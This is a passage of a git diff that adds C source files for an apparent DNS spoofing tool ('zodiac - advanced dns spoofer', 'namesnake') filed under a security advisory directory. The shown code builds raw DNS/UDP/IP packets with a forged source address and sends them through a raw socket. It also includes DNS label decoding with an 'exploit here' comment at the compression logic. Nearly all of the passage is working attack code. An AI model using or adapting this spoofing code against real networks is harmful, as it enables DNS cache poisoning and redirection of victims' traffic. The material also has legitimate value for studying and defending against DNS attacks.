| 561 | d_addr.s_addr = net_resolve (ip_dst); | ||
| 562 | |||
| 563 | libnet_build_dns ( dns_id, /* dns id (the famous one, 'antilove'd by many users ;) */ | ||
| 564 | flags, /* standard query response */ | ||
| 565 | count_q, /* count for query */ | ||
| 566 | count_a, /* count for answer */ | ||
| 567 | count_ns, /* count for authoritative information */ | ||
| 568 | count_ad, /* count for additional information */ | ||
| 569 | dbuf, /* buffer with the queries/rr's */ | ||
| 570 | dbuf_s, /* query size */ | ||
| 571 | buf + IP_H + UDP_H); /* write into packet buffer */ | ||
| 572 | |||
| 573 | libnet_build_udp ( prt_src, /* source port */ | ||
| 574 | prt_dst, /* 53 usually */ | ||
| 575 | NULL, /* content already there */ | ||
| 576 | DNS_H + dbuf_s, /* same */ | ||
| 577 | buf + IP_H); /* build after ip header */ | ||
| 578 | |||
| 579 | libnet_build_ip ( UDP_H + DNS_H + dbuf_s, /* content size */ | ||
| 580 | 0, /* tos */ | ||
| 581 | libnet_get_prand (PRu16), /* id :) btw, what does 242 mean ? */ | ||
| 582 | 0, /* frag */ | ||
| 583 | 64, /* ttl */ | ||
| 584 | IPPROTO_UDP, /* subprotocol */ | ||
| 585 | s_addr.s_addr, /* spoofa ;) */ | ||
| 586 | d_addr.s_addr, /* local dns querier */ | ||
| 587 | NULL, /* payload already there */ | ||
| 588 | 0, /* same */ | ||
| 589 | buf); /* build in packet buffer */ | ||
| 590 | |||
| 591 | libnet_do_checksum (buf, IPPROTO_UDP, UDP_H + DNS_H + dbuf_s); | ||
| 592 | libnet_do_checksum (buf, IPPROTO_IP, IP_H); | ||
| 593 | |||
| 594 | sock = libnet_open_raw_sock(IPPROTO_RAW); | ||
| 595 | if (sock == -1) | ||
| 596 | return (1); | ||
| 597 | |||
| 598 | n = libnet_write_ip (sock, buf, UDP_H + IP_H + DNS_H + dbuf_s); | ||
| 599 | if (n < UDP_H + IP_H + DNS_H + dbuf_s) { | ||
| 600 | return (1); | ||
| 601 | } | ||
| 602 | |||
| 603 | close (sock); | ||
| 604 | |||
| 605 | return (0); | ||
| 606 | } | ||
| 607 | |||
| 608 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns-build.h b/advisories/teso-advisory-003/namesnake/src/dns-build.h new file mode 100644 index 0000000..ca3fe9c --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns-build.h | |||
| @@ -0,0 +1,211 @@ | |||
| 1 | /* namesnake | ||
| 2 | * | ||
| 3 | * dns packet builder routines include file | ||
| 4 | * | ||
| 5 | * by scut / teso | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef Z_DNS_BUILD_H | ||
| 9 | #define Z_DNS_BUILD_H | ||
| 10 | |||
| 11 | |||
| 12 | /* dns_pdata | ||
| 13 | * | ||
| 14 | * domain name service packet data part structure. | ||
| 15 | * the data in this structure is the virtual dns packet to fire. | ||
| 16 | */ | ||
| 17 | |||
| 18 | typedef struct dns_pdata { | ||
| 19 | unsigned char *p_offset; /* internal offset to construct packet data */ | ||
| 20 | unsigned char *p_data; /* real packet data pointer */ | ||
| 21 | } dns_pdata; | ||
| 22 | |||
| 23 | |||
| 24 | /* dns_build_random | ||
| 25 | * | ||
| 26 | * prequel the domain name `domain' with a random sequence of characters | ||
| 27 | * with a random length if `len' is zero, and a fixed length if len is != 0 | ||
| 28 | * | ||
| 29 | * return the allocated new string | ||
| 30 | */ | ||
| 31 | |||
| 32 | char *dns_build_random (char *domain, size_t len); | ||
| 33 | |||
| 34 | /* dns_domain | ||
| 35 | * | ||
| 36 | * return a pointer to the beginning of the SLD within a full qualified | ||
| 37 | * domain name `domainname'. | ||
| 38 | * | ||
| 39 | * return NULL on failure | ||
| 40 | * return a pointer to the beginning of the SLD on success | ||
| 41 | */ | ||
| 42 | |||
| 43 | char *dns_domain (char *domainname); | ||
| 44 | char *dns_ptr_domain (char *arpaname); | ||
| 45 | |||
| 46 | |||
| 47 | /* dns_build_new | ||
| 48 | * | ||
| 49 | * constructor. create new packet data body | ||
| 50 | * | ||
| 51 | * return packet data structure pointer (initialized) | ||
| 52 | */ | ||
| 53 | |||
| 54 | dns_pdata *dns_build_new (void); | ||
| 55 | |||
| 56 | |||
| 57 | /* dns_build_destroy | ||
| 58 | * | ||
| 59 | * destructor. destroy a dns_pdata structure pointed to by `pd' | ||
| 60 | * | ||
| 61 | * return in any case | ||
| 62 | */ | ||
| 63 | |||
| 64 | void dns_build_destroy (dns_pdata *pd); | ||
| 65 | |||
| 66 | |||
| 67 | /* dns_build_plen | ||
| 68 | * | ||
| 69 | * calculate the length of the current packet data body pointed to by `pd'. | ||
| 70 | * | ||
| 71 | * return the packet length | ||
| 72 | */ | ||
| 73 | |||
| 74 | u_short dns_build_plen (dns_pdata *pd); | ||
| 75 | |||
| 76 | |||
| 77 | /* dns_build_extend | ||
| 78 | * | ||
| 79 | * extend a dns_pdata structure data part for `amount' bytes. | ||
| 80 | * | ||
| 81 | * return a pointer to the beginning of the extension | ||
| 82 | */ | ||
| 83 | |||
| 84 | unsigned char *dns_build_extend (dns_pdata *pd, size_t amount); | ||
| 85 | |||
| 86 | |||
| 87 | /* dns_build_ptr | ||
| 88 | * | ||
| 89 | * take a numeric quad dot notated ip address `ip_str' and build a char | ||
| 90 | * domain out of it within the IN-ADDR.ARPA domain. | ||
| 91 | * | ||
| 92 | * return NULL on failure | ||
| 93 | * return a char pointer to the converted domain name | ||
| 94 | */ | ||
| 95 | |||
| 96 | char *dns_build_ptr (char *ip_str); | ||
| 97 | |||
| 98 | |||
| 99 | /* dns_build_q | ||
| 100 | * | ||
| 101 | * append a query record into a dns_pdata structure, where `dname' is the | ||
| 102 | * domain name that should be queried, using `qtype' and `qclass' as types. | ||
| 103 | * | ||
| 104 | * conversion of the `dname' takes place according to the value of `qtype': | ||
| 105 | * | ||
| 106 | * qtype | expected dname format | converted to | ||
| 107 | * ---------+-----------------------+----------------------------------------- | ||
| 108 | * TY_PTR | char *, ip address | IN-ADDR.ARPA dns domain name | ||
| 109 | * TY_A | char *, full hostname | dns domain name | ||
| 110 | * TY_NS | " | " | ||
| 111 | * TY_CNAME | " | " | ||
| 112 | * TY_WKS | " | " | ||
| 113 | * TY_HINFO | " | " | ||
| 114 | * TY_MINFO | " | " | ||
| 115 | * TY_MX | " | " | ||
| 116 | * | ||
| 117 | * return (beside adding the record) the pointer to the record within the data | ||
| 118 | */ | ||
| 119 | |||
| 120 | unsigned char *dns_build_q (dns_pdata *pd, char *dname, u_short qtype, u_short qclass); | ||
| 121 | |||
| 122 | |||
| 123 | /* dns_build_rr | ||
| 124 | * | ||
| 125 | * append a resource record into a dns_pdata structure, pointed ty by `pd', | ||
| 126 | * where `dname' is the domain name the record belongs to, `type' and `class' | ||
| 127 | * are the type and class of the dns data part, `ttl' is the time to live, | ||
| 128 | * the time in seconds how long to cache the record. `rdlength' is the length | ||
| 129 | * of the resource data pointed to by `rdata'. | ||
| 130 | * depending on `type' the data at `rdata' will be converted to the appropiate | ||
| 131 | * type: | ||
| 132 | * | ||
| 133 | * type | rdata points to | will be | ||
| 134 | * -------+---------------------+--------------------------------------------- | ||
| 135 | * TY_A | char IP address | 4 byte network byte ordered IP address | ||
| 136 | * TY_PTR | char domain name | encoded dns domain name | ||
| 137 | * TY_NS | char domain name | encoded dns domain name | ||
| 138 | * | ||
| 139 | * return (beside adding the record) the pointer to the record within the data | ||
| 140 | */ | ||
| 141 | |||
| 142 | unsigned char *dns_build_rr (dns_pdata *pd, unsigned char *dname, | ||
| 143 | u_short type, u_short class, u_long ttl, void *rdata); | ||
| 144 | |||
| 145 | |||
| 146 | /* dns_build_query_label | ||
| 147 | * | ||
| 148 | * build a query label given from the data `query' that should be enclosed | ||
| 149 | * and the query type `qtype' and query class `qclass'. | ||
| 150 | * | ||
| 151 | * qtype qclass query | ||
| 152 | * -----------+---------------+----------------------------------------------- | ||
| 153 | * A IN pointer to a host- or domainname | ||
| 154 | * PTR IN pointer to a struct in_addr | ||
| 155 | * | ||
| 156 | * ... (to be extended) ... | ||
| 157 | * | ||
| 158 | * return 0 on success | ||
| 159 | * return 1 on failure | ||
| 160 | */ | ||
| 161 | int dns_build_query_label (unsigned char **query_dst, u_short qtype, u_short qclass, void *query); | ||
| 162 | |||
| 163 | |||
| 164 | /* dns_build_domain | ||
| 165 | * | ||
| 166 | * build a dns domain label sequence out of a printable domain name | ||
| 167 | * store the resulting domain in `denc', get the printable domain | ||
| 168 | * from `domain'. | ||
| 169 | * | ||
| 170 | * return 0 on failure | ||
| 171 | * return length of the created domain (include suffixing '\x00') | ||
| 172 | */ | ||
| 173 | |||
| 174 | int dns_build_domain (unsigned char **denc, char *domain); | ||
| 175 | |||
| 176 | |||
| 177 | /* dns_build_domain_dotlen | ||
| 178 | * | ||
| 179 | * helper routine, determine the length of the next label in a human | ||
| 180 | * printed domain name | ||
| 181 | * | ||
| 182 | * return the number of characters until an occurance of \x00 or '.' | ||
| 183 | */ | ||
| 184 | |||
| 185 | int dns_build_domain_dotlen (char *label); | ||
| 186 | |||
| 187 | |||
| 188 | /* dns_packet_send | ||
| 189 | * | ||
| 190 | * send a prepared dns packet spoofing from `ip_src' to `ip_dst', using | ||
| 191 | * source port `prt_src' and destination port `prt_dst'. the dns header | ||
| 192 | * data is filled with `dns_id', the dns identification number of the | ||
| 193 | * packet, `flags', which are the 16bit flags in the dns header, then | ||
| 194 | * four count variables, each for a dns segment: `count_q' is the number | ||
| 195 | * of queries, `count_a' the number of answers, `count_ns' the number of | ||
| 196 | * nameserver entries and `count_ad' the number of additional entries. | ||
| 197 | * the real dns data is aquired from the dns packet data `pd'. | ||
| 198 | * the dns data should be constructed using the dns_build_* functions. | ||
| 199 | * if the packet should be compressed before sending it, `compress' | ||
| 200 | * should be set to 1. | ||
| 201 | * | ||
| 202 | * return 0 on success | ||
| 203 | * return 1 on failure | ||
| 204 | */ | ||
| 205 | |||
| 206 | int dns_packet_send (char *ip_src, char *ip_dst, u_short prt_src, u_short prt_dst, | ||
| 207 | u_short dns_id, u_short flags, u_short count_q, u_short count_a, | ||
| 208 | u_short count_ns, u_short count_ad, dns_pdata *pd); | ||
| 209 | |||
| 210 | #endif | ||
| 211 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.c b/advisories/teso-advisory-003/namesnake/src/dns.c new file mode 100644 index 0000000..c2c8c10 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns.c | |||
| @@ -0,0 +1,447 @@ | |||
| 1 | /* zodiac - advanced dns spoofer | ||
| 2 | * | ||
| 3 | * by scut / teso | ||
| 4 | * | ||
| 5 | * dns handling routines | ||
| 6 | * | ||
| 7 | * including scut's leet dns packet decoder *welp* :-D | ||
| 8 | * | ||
| 9 | */ | ||
| 10 | |||
| 11 | #include <sys/time.h> | ||
| 12 | #include <sys/socket.h> | ||
| 13 | #include <netinet/in.h> | ||
| 14 | #include <arpa/inet.h> | ||
| 15 | #include <unistd.h> | ||
| 16 | #include <stdlib.h> | ||
| 17 | #include <string.h> | ||
| 18 | #include "common.h" | ||
| 19 | #include "dns.h" | ||
| 20 | |||
| 21 | |||
| 22 | extern char * ns_domain; | ||
| 23 | |||
| 24 | static char *types[] = { NULL, "A", "NS", "MD", "MF", "CNAME", "SOA", "MB", "MG", | ||
| 25 | "MR", "NULL", "WKS", "PTR", "HINFO", "MINFO", "MX", "TXT" }; | ||
| 26 | static char *rcodes[] = { "OK", "EFORM", "EFAIL", "ENAME", "ENIMP", "ERFSD", NULL, NULL, | ||
| 27 | NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL }; | ||
| 28 | |||
| 29 | |||
| 30 | /* dns_handle | ||
| 31 | * | ||
| 32 | * handle a dns packet with header pointed to by `dns_hdr' and data pointed | ||
| 33 | * to by `dns_data'. | ||
| 34 | * | ||
| 35 | * do all necessary queue / decoding stuff | ||
| 36 | */ | ||
| 37 | |||
| 38 | void | ||
| 39 | dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print) | ||
| 40 | { | ||
| 41 | int n; /* temporary return value */ | ||
| 42 | unsigned char *d_quer[SEG_COUNT_MAX]; /* query array */ | ||
| 43 | unsigned char *d_answ[SEG_COUNT_MAX]; /* answer array */ | ||
| 44 | unsigned char *d_auth[SEG_COUNT_MAX]; /* authority array */ | ||
| 45 | unsigned char *d_addi[SEG_COUNT_MAX]; /* additional array */ | ||
| 46 | char dns_p[2048]; /* output (for humans :) */ | ||
| 47 | |||
| 48 | #ifdef PDEBUG | ||
| 49 | hexdump ("packet-dns", (unsigned char *) dns, 256); | ||
| 50 | #endif | ||
| 51 | /* segmentify dns packet | ||
| 52 | */ | ||
| 53 | n = dns_segmentify (dns, dns_data, d_quer, d_answ, d_auth, d_addi); | ||
| 54 | if (n != 0) { | ||
| 55 | printf ("FAILURE ON DNS PACKET DISASSEMBLY\n"); | ||
| 56 | return; | ||
| 57 | } | ||
| 58 | |||
| 59 | memset (dns_p, '\0', sizeof (dns_p)); | ||
| 60 | |||
| 61 | /* only print own packets if dns_print_own_packets is 1 | ||
| 62 | */ | ||
| 63 | dns_printpkt (dns_p, sizeof (dns_p) - 1, dns, | ||
| 64 | dns_data, d_quer, d_answ, d_auth, d_addi, print); | ||
| 65 | |||
| 66 | /* return | ||
| 67 | */ | ||
| 68 | return; | ||
| 69 | } | ||
| 70 | |||
| 71 | |||
| 72 | /* dns_p_print | ||
| 73 | * | ||
| 74 | * decode a dns packet pointed to by `dns' and `dns_data' to a human readable | ||
| 75 | * form to the string pointed to by `os', with a maximum length of `len' | ||
| 76 | * | ||
| 77 | * return 0 on success | ||
| 78 | * return 1 on failure | ||
| 79 | */ | ||
| 80 | |||
| 81 | int | ||
| 82 | dns_p_print (char *os, size_t len, dns_hdr *dns, unsigned char *d_quer[], unsigned char *d_answ[], | ||
| 83 | unsigned char *d_auth[], unsigned char *d_addi[]) | ||
| 84 | { | ||
| 85 | int n; | ||
| 86 | |||
| 87 | scnprintf (os, len, "ID[%04x] TYPE[", ntohs (dns->id)); | ||
| 88 | |||
| 89 | if (dns->qr == 0) { | ||
| 90 | /* print the query | ||
| 91 | */ | ||
| 92 | if (dns->opcode != 0 && dns->opcode != 1) { | ||
| 93 | scnprintf (os, len, "unsupported opcode %02x %s", dns->opcode, | ||
| 94 | (dns->opcode == 3) ? "ST]" : ""); | ||
| 95 | } else { | ||
| 96 | if (dns->opcode == 0) | ||
| 97 | scnprintf (os, len, " Q]"); | ||
| 98 | else if (dns->opcode == 1) | ||
| 99 | scnprintf (os, len, "IQ]"); | ||
| 100 | } | ||
| 101 | } else if (dns->qr == 1) { | ||
| 102 | char *rcstr = NULL; | ||
| 103 | |||
| 104 | /* authoritative answer ? | ||
| 105 | */ | ||
| 106 | if (dns->aa == 1) | ||
| 107 | scnprintf (os, len, "AA]"); | ||
| 108 | else | ||
| 109 | scnprintf (os, len, " A]"); | ||
| 110 | |||
| 111 | rcstr = rcodes[dns->rcode]; | ||
| 112 | scnprintf (os, len, "(%s)", (rcstr == NULL) ? "?" : rcstr); | ||
| 113 | } | ||
| 114 | |||
| 115 | for (n = 0; n < ntohs (dns->qdcount) && n < SEG_COUNT_MAX; n++) { | ||
| 116 | if (n == 0) | ||
| 117 | scnprintf (os, len, " Q(%hu)> ", ntohs (dns->qdcount)); | ||
| 118 | dns_p_q ((unsigned char *) dns, os, len, d_quer[n]); | ||
| 119 | } | ||
| 120 | |||
| 121 | return (0); | ||
| 122 | } | ||
| 123 | |||
| 124 | |||
| 125 | /* dns_p_q | ||
| 126 | * | ||
| 127 | * print a dns query record pointed to by `wp' as a human readable string, | ||
| 128 | * and append it to `os', which can have a maximum size of `len' characters. | ||
| 129 | */ | ||
| 130 | |||
| 131 | void | ||
| 132 | dns_p_q (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) | ||
| 133 | { | ||
| 134 | char qname[256]; | ||
| 135 | char *qt; | ||
| 136 | u_short qtype, qclass; | ||
| 137 | |||
| 138 | memset (qname, '\0', sizeof (qname)); | ||
| 139 | dns_dcd_label (dns_start, &wp, qname, sizeof (qname) - 1, 5); | ||
| 140 | |||
| 141 | /* get query type and class | ||
| 142 | */ | ||
| 143 | GETSHORT (qtype, wp); | ||
| 144 | GETSHORT (qclass, wp); | ||
| 145 | |||
| 146 | if (qtype <= 16) | ||
| 147 | qt = types[qtype]; | ||
| 148 | else | ||
| 149 | qt = NULL; | ||
| 150 | |||
| 151 | ns_domain = xstrdup (qname); | ||
| 152 | scnprintf (os, len, "%s [t:%s]", qname, (qt != NULL) ? qt : "-"); | ||
| 153 | |||
| 154 | return; | ||
| 155 | } | ||
| 156 | |||
| 157 | |||
| 158 | /* dns_p_rdata | ||
| 159 | * | ||
| 160 | * print a resource record rdata field pointed to by `rdp' as a human readable | ||
| 161 | * string `rdstr' with a maximum length `len', depending on rdata type `rtype' | ||
| 162 | * the data pointed to by `rdp' has the length `rdlen'. | ||
| 163 | * | ||
| 164 | * return nothing | ||
| 165 | */ | ||
| 166 | |||
| 167 | void | ||
| 168 | dns_p_rdata (unsigned char *dns_start, char *rdstr, size_t len, | ||
| 169 | u_short rtype, unsigned char *rdp, u_short rdlen) | ||
| 170 | { | ||
| 171 | char *ips; | ||
| 172 | char ipv4str[64]; /* temporary IP address string */ | ||
| 173 | struct in_addr ip; | ||
| 174 | unsigned char *wps = rdp; | ||
| 175 | |||
| 176 | memset (rdstr, '\0', len); | ||
| 177 | |||
| 178 | switch (rtype) { | ||
| 179 | case (T_A): | ||
| 180 | memcpy (&ip, rdp, sizeof (struct in_addr)); | ||
| 181 | |||
| 182 | ips = ipv4_print (ipv4str, ip, 0); | ||
| 183 | scnprintf (rdstr, len, "%s", ips); | ||
| 184 | |||
| 185 | break; | ||
| 186 | |||
| 187 | case (T_CNAME): | ||
| 188 | case (T_NS): | ||
| 189 | case (T_PTR): | ||
| 190 | dns_dcd_label (dns_start, &wps, rdstr, len, 5); | ||
| 191 | break; | ||
| 192 | |||
| 193 | default: | ||
| 194 | break; | ||
| 195 | } | ||
| 196 | |||
| 197 | return; | ||
| 198 | } | ||
| 199 | |||
| 200 | |||
| 201 | /* dns_p_rr | ||
| 202 | * | ||
| 203 | * print a dns resource record pointed to by `wp' as a human readable string, | ||
| 204 | * and append it to `os', which can have a maximum size of `len' characters. | ||
| 205 | */ | ||
| 206 | |||
| 207 | void | ||
| 208 | dns_p_rr (unsigned char *dns_start, char *os, size_t len, unsigned char *wp) | ||
| 209 | { | ||
| 210 | char name[256], rdatas[256]; | ||
| 211 | char *t; | ||
| 212 | u_short type, class, rdlen; | ||
| 213 | u_long ttl; | ||
| 214 | |||
| 215 | /* decode label | ||
| 216 | */ | ||
| 217 | memset (name, '\0', sizeof (name)); | ||
| 218 | dns_dcd_label (dns_start, &wp, name, sizeof (name), 5); | ||
| 219 | |||
| 220 | /* get type/class/ttl/rdlength/rdata | ||
| 221 | * then assign appropiate type description | ||
| 222 | */ | ||
| 223 | GETSHORT (type, wp); | ||
| 224 | GETSHORT (class, wp); | ||
| 225 | GETLONG (ttl, wp); | ||
| 226 | GETSHORT (rdlen, wp); | ||
| 227 | t = (type <= 16) ? types[type] : NULL; | ||
| 228 | |||
| 229 | /* add decoded rdata info into rdatas | ||
| 230 | * different decoding depending on type | ||
| 231 | */ | ||
| 232 | dns_p_rdata (dns_start, rdatas, sizeof (rdatas), type, wp, rdlen); | ||
| 233 | |||
| 234 | scnprintf (os, len, "[t: %s (%04x)][c: %04x][ttl: %lu][r: %04x] %s : %s", | ||
| 235 | (t != NULL) ? t : "-", type, class, ttl, rdlen, name, rdatas); | ||
| 236 | |||
| 237 | return; | ||
| 238 | } | ||
| 239 | |||
| 240 | |||
| 241 | /* dns_segmentify | ||
| 242 | * | ||
| 243 | * segmentify a dns datagram pointed to by `dns_hdr' and `dns_data' into it's | ||
| 244 | * different parts, such as the query part (pointed to by `d_quer'), the | ||
| 245 | * answer part (pointed to by `d_answ'), the authoritaty (pointed to by | ||
| 246 | * `d_auth') and the additional information parts (pointed to by `d_addi'). | ||
| 247 | * | ||
| 248 | * return 0 on success, and fill all the **-pointers to either NULL or data | ||
| 249 | * within the `dns_data' array. | ||
| 250 | */ | ||
| 251 | |||
| 252 | int | ||
| 253 | dns_segmentify (dns_hdr *dns, unsigned char *dns_data, | ||
| 254 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 255 | unsigned char *d_addi[]) | ||
| 256 | { | ||
| 257 | unsigned char *wp; /* work pointer */ | ||
| 258 | |||
| 259 | wp = dns_data; | ||
| 260 | |||
| 261 | /* get queries, answers, authorities and additional information | ||
| 262 | */ | ||
| 263 | dns_seg_q (&wp, d_quer, htons (dns->qdcount), SEG_COUNT_MAX); | ||
| 264 | dns_seg_rr (&wp, d_answ, htons (dns->ancount), SEG_COUNT_MAX); | ||
| 265 | dns_seg_rr (&wp, d_auth, htons (dns->nscount), SEG_COUNT_MAX); | ||
| 266 | dns_seg_rr (&wp, d_addi, htons (dns->arcount), SEG_COUNT_MAX); | ||
| 267 | |||
| 268 | return (0); | ||
| 269 | } | ||
| 270 | |||
| 271 | |||
| 272 | /* dns_seg_q | ||
| 273 | * | ||
| 274 | * segmentify a query record of a dns datagram, starting at `wp', creating | ||
| 275 | * an array of `c' number of pointers in `d_arry', truncating if it exceeds | ||
| 276 | * a number of `max_size' records | ||
| 277 | */ | ||
| 278 | |||
| 279 | void | ||
| 280 | dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) | ||
| 281 | { | ||
| 282 | int count; | ||
| 283 | |||
| 284 | for (count = 0; count < c && count < max_size; count++) { | ||
| 285 | d_arry[count] = *wp; | ||
| 286 | *wp += dns_labellen (*wp); /* skip label */ | ||
| 287 | *wp += 2 * sizeof (u_short); /* skip qtype/qclass */ | ||
| 288 | } | ||
| 289 | } | ||
| 290 | |||
| 291 | |||
| 292 | /* dns_seg_rr | ||
| 293 | * | ||
| 294 | * segmentify a resource record of a dns datagram, starting at `wp', creating | ||
| 295 | * an array of `c' number of pointers in `d_arry', truncating if it exceeds | ||
| 296 | * a number of `max_size' records | ||
| 297 | */ | ||
| 298 | |||
| 299 | void | ||
| 300 | dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size) | ||
| 301 | { | ||
| 302 | int count; | ||
| 303 | unsigned long int rdlen; | ||
| 304 | |||
| 305 | for (count = 0; count < c && count < max_size; count++) { | ||
| 306 | d_arry[count] = *wp; | ||
| 307 | |||
| 308 | /* skip the label (most likely compressed) | ||
| 309 | */ | ||
| 310 | *wp += dns_labellen (*wp); | ||
| 311 | |||
| 312 | /* skip the type, class, ttl | ||
| 313 | */ | ||
| 314 | *wp += 8 * sizeof (u_char); | ||
| 315 | |||
| 316 | /* resource data length | ||
| 317 | */ | ||
| 318 | GETSHORT (rdlen, *wp); | ||
| 319 | *wp += rdlen; | ||
| 320 | } | ||
| 321 | |||
| 322 | return; | ||
| 323 | } | ||
| 324 | |||
| 325 | |||
| 326 | /* dns_labellen | ||
| 327 | * | ||
| 328 | * determine the length of a dns label pointed to by `wp' | ||
| 329 | * | ||
| 330 | * return the length of the label | ||
| 331 | */ | ||
| 332 | |||
| 333 | int | ||
| 334 | dns_labellen (unsigned char *wp) | ||
| 335 | { | ||
| 336 | unsigned char *wps = wp; | ||
| 337 | |||
| 338 | while (*wp != '\x00') { | ||
| 339 | /* in case the label is compressed we don't really care, | ||
| 340 | * but just skip it | ||
| 341 | */ | ||
| 342 | if ((*wp & INDIR_MASK) == INDIR_MASK) { | ||
| 343 | wp += sizeof (u_short); | ||
| 344 | |||
| 345 | /* non-clear RFC at this point, got to figure with some | ||
| 346 | * real dns packets | ||
| 347 | */ | ||
| 348 | return ((int) (wp - wps)); | ||
| 349 | } else { | ||
| 350 | wp += (*wp + 1); | ||
| 351 | } | ||
| 352 | } | ||
| 353 | |||
| 354 | return ((int) (wp - wps) + 1); | ||
| 355 | } | ||
| 356 | |||
| 357 | |||
| 358 | /* dns_dcd_label | ||
| 359 | * | ||
| 360 | * decode a label sequence pointed to by `qname' to a string pointed to by | ||
| 361 | * `os', with a maximum length of `len' characters | ||
| 362 | * after successful decoding it will update *qname, to point to the qtype | ||
| 363 | * if the `dig' flag is > 0 the routine may allow to call itself recursively | ||
| 364 | * at a maximum dig level of `dig'. | ||
| 365 | * if `dig' is zero it is a recursive call and may not call itself once more. | ||
| 366 | * `dns_start' is a pointer to the beginning of the dns packet, to allow | ||
| 367 | * compressed labels to be decoded. | ||
| 368 | * | ||
| 369 | * return 0 on success | ||
| 370 | * return 1 on failure | ||
| 371 | */ | ||
| 372 | |||
| 373 | int | ||
| 374 | dns_dcd_label (unsigned char *dns_start, unsigned char **qname, char *os, size_t len, int dig) | ||
| 375 | { | ||
| 376 | unsigned char *qn = *qname; | ||
| 377 | |||
| 378 | while (*qn != '\0') { | ||
| 379 | if ((*qn & INDIR_MASK) == INDIR_MASK) { | ||
| 380 | int offset; /* compression offset */ | ||
| 381 | unsigned char *tpt; /*temporary pointer */ | ||
| 382 | |||
| 383 | if (dig == 0) { | ||
| 384 | if (dns_start == NULL) | ||
| 385 | return (1); | ||
| 386 | |||
| 387 | printf ("DNS attack, compr. flaw exploit attempt\n"); | ||
| 388 | return (1); | ||
| 389 | } | ||
| 390 | |||
| 391 | /* don't fuck with big bad endian | ||
| 392 | */ | ||
| 393 | |||
| 394 | offset = (((unsigned char) *qn) & ~0xc0) << 8; | ||
| 395 | qn += 1; | ||
| 396 | offset += (int) ((unsigned char) *qn); | ||
| 397 | qn += 1; | ||
| 398 | |||
| 399 | /* recursivly decode the label pointed to by the offset | ||
| 400 | * exploit here =) | ||
| 401 | */ | ||
| 402 | |||
| 403 | tpt = dns_start + offset; | ||
| 404 | *qname = qn; | ||
| 405 | |||
| 406 | return (dns_dcd_label (dns_start, &tpt, os, len, dig - 1)); | ||
| 407 | |||
| 408 | } else { | ||
| 409 | char label[65]; | ||
| 410 | |||
| 411 | memset (label, '\0', sizeof (label)); | ||
| 412 | memcpy (label, qn + 1, (*qn & ~INDIR_MASK)); | ||
| 413 | scnprintf (os, len, "%s", label); | ||
| 414 | } | ||
| 415 | |||
| 416 | qn += *qn + 1; | ||
| 417 | if (*qn != 0) | ||
| 418 | scnprintf (os, len, "."); | ||
| 419 | } | ||
| 420 | |||
| 421 | *qname = qn + 1; | ||
| 422 | |||
| 423 | return (0); | ||
| 424 | } | ||
| 425 | |||
| 426 | /* dns_printpkt | ||
| 427 | * | ||
| 428 | * print dns packet header pointed to by `dns' in human readable form | ||
| 429 | * to dns window | ||
| 430 | * | ||
| 431 | * return nothing | ||
| 432 | */ | ||
| 433 | |||
| 434 | void | ||
| 435 | dns_printpkt (char *os, size_t osl, dns_hdr *dns, unsigned char *data, | ||
| 436 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 437 | unsigned char *d_addi[], int print) | ||
| 438 | { | ||
| 439 | /* print decoded dns packet to screen | ||
| 440 | */ | ||
| 441 | dns_p_print (os, osl, dns, d_quer, d_answ, d_auth, d_addi); | ||
| 442 | if (print == 1) | ||
| 443 | printf ("%s\n", os); | ||
| 444 | |||
| 445 | return; | ||
| 446 | } | ||
| 447 | |||
diff --git a/advisories/teso-advisory-003/namesnake/src/dns.h b/advisories/teso-advisory-003/namesnake/src/dns.h new file mode 100644 index 0000000..2445231 --- /dev/null +++ b/advisories/teso-advisory-003/namesnake/src/dns.h | |||
| @@ -0,0 +1,67 @@ | |||
| 1 | /* zodiac - advanced dns spoofer | ||
| 2 | * | ||
| 3 | * by scut / teso | ||
| 4 | * | ||
| 5 | * dns / id queue handling routines | ||
| 6 | */ | ||
| 7 | |||
| 8 | #ifndef Z_DNS_H | ||
| 9 | #define Z_DNS_H | ||
| 10 | |||
| 11 | |||
| 12 | #include <sys/time.h> | ||
| 13 | #include <arpa/nameser.h> | ||
| 14 | #include <netinet/in.h> | ||
| 15 | #include <libnet.h> | ||
| 16 | |||
| 17 | |||
| 18 | /* dns flags (for use with libnet) | ||
| 19 | */ | ||
| 20 | #define DF_RESPONSE 0x8000 | ||
| 21 | #define DF_OC_STD_Q 0x0000 | ||
| 22 | #define DF_OC_INV_Q 0x0800 | ||
| 23 | #define DF_OC_STAT 0x1800 | ||
| 24 | #define DF_AA 0x0400 | ||
| 25 | #define DF_TC 0x0200 | ||
| 26 | #define DF_RD 0x0100 | ||
| 27 | #define DF_RA 0x0080 | ||
| 28 | #define DF_RCODE_FMT_E 0x0001 | ||
| 29 | #define DF_RCODE_SRV_E 0x0002 | ||
| 30 | #define DF_RCODE_NAME_E 0x0003 | ||
| 31 | #define DF_RCODE_IMPL_E 0x0004 | ||
| 32 | #define DF_RCODE_RFSD_E 0x0005 | ||
| 33 | |||
| 34 | |||
| 35 | #define SEG_COUNT_MAX 16 | ||
| 36 | |||
| 37 | typedef struct libnet_ip_hdr ip_hdr; | ||
| 38 | typedef struct libnet_udp_hdr udp_hdr; | ||
| 39 | typedef HEADER dns_hdr; /* HEADER is in arpa/nameser.h */ | ||
| 40 | |||
| 41 | void dns_handle (dns_hdr *dns, unsigned char *dns_data, unsigned int plen, int print); | ||
| 42 | |||
| 43 | int dns_segmentify (dns_hdr *dns, unsigned char *dns_data, | ||
| 44 | unsigned char *d_quer[], unsigned char *d_answ[], unsigned char *d_auth[], | ||
| 45 | unsigned char *d_addi[]); | ||
| 46 | void dns_seg_q (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); | ||
| 47 | void dns_seg_rr (unsigned char **wp, unsigned char *d_arry[], int c, int max_size); | ||
| 48 | int dns_labellen (unsigned char *wp); | ||
| 49 | |||
| 50 | /* dns_printpkt | ||
